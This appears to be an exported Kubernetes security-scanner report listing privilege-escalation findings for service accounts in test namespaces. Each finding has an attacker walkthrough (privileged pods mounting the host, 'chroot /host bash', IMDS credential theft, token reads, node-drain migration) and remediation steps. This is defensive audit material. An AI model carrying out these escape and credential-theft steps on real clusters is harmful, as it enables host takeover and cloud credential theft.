A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Survives cutting the crb-pod-create binding (1 hop)

This route reaches the same target without the crb-pod-create binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/daemon-app-v82sg falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/rbac-fixtures/sa-pod-create → /). Evaluated cut: removing this subject from the crb-pod-create binding that grants hop 1. A route to the same sink survives that cut.
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/rbac-fixtures/sa-pod-create → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 9.0
ServiceAccount/rbac-fixtures/sa-workload-mutate can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → / via workload_privileged_escape (create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)): can create a workload whose pod template is privileged, and escape to the node from its pods

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-workload-mutate yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker writes a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)) whose pod template is privileged or mounts the host, in a namespace where Pod Security Admission does not block it. The controller creates those pods, and from them the attacker reaches the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Privileged workload → node escape workload_privileged_escape

    A workload's controller creates pods from its template, and those pods face the same Pod Security Admission check as a pod created directly. Where the namespace does not enforce baseline or restricted, a template can set privileged: true, host namespaces, or a hostPath mount, and the resulting pods reach the node.

    This follows from create on any workload kind, or from update/patch on an existing one. The fix is the same as for pod creation: enforce a Pod Security level on the namespace, and grant workload writes only to deploy automation.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)
    Gives the attacker can create a workload whose pod template is privileged, and escape to the node from its pods
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/vulnerable/default Cluster 9.0
ServiceAccount/vulnerable/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default

Subject ServiceAccount/vulnerable/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/vulnerable/default → / via pod_host_escape (hostPID,hostIPC): runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/vulnerable/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/default.
  2. Acting as ServiceAccount/vulnerable/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/vulnerable/privileged-reader Cluster 9.0
ServiceAccount/vulnerable/privileged-reader can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/vulnerable/privileged-reader → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/vulnerable/privileged-reader yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/vulnerable/privileged-reader → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/vulnerable/privileged-reader → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/foothold-ops/foothold-execer Cluster 8.6
ServiceAccount/foothold-ops/foothold-execer can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/foothold-ops/foothold-execer → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-execer

Subject ServiceAccount/foothold-ops/foothold-execer has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv via pod_exec (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
2. ServiceAccount/foothold-fixtures/foothold-priv → / via pod_host_escape (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/foothold-ops/foothold-execer yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/foothold-ops/foothold-execer.
  2. Acting as ServiceAccount/foothold-ops/foothold-execer, the attacker uses pods/exec (create pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-fixtures/foothold-priv and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
  2. Step 2 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/cert-manager/cert-manager Cluster 8.5
ServiceAccount/cert-manager/cert-manager can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/cert-manager/cert-manager → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager

Subject ServiceAccount/cert-manager/cert-manager has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/cert-manager/cert-manager → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/cert-manager/cert-manager yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/cert-manager/cert-manager.
  2. Acting as ServiceAccount/cert-manager/cert-manager, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cert-manager/cert-manager → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/cert-manager/cert-manager → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/cloud-eks-test/default Cluster 8.5
ServiceAccount/cloud-eks-test/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/cloud-eks-test/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default

Subject ServiceAccount/cloud-eks-test/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/cloud-eks-test/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/cloud-eks-test/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/cloud-eks-test/default.
  2. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/containersec-fixtures/default Cluster 8.5
ServiceAccount/containersec-fixtures/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/containersec-fixtures/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default

Subject ServiceAccount/containersec-fixtures/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/containersec-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/containersec-fixtures/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/containersec-fixtures/default.
  2. Acting as ServiceAccount/containersec-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
Remediation
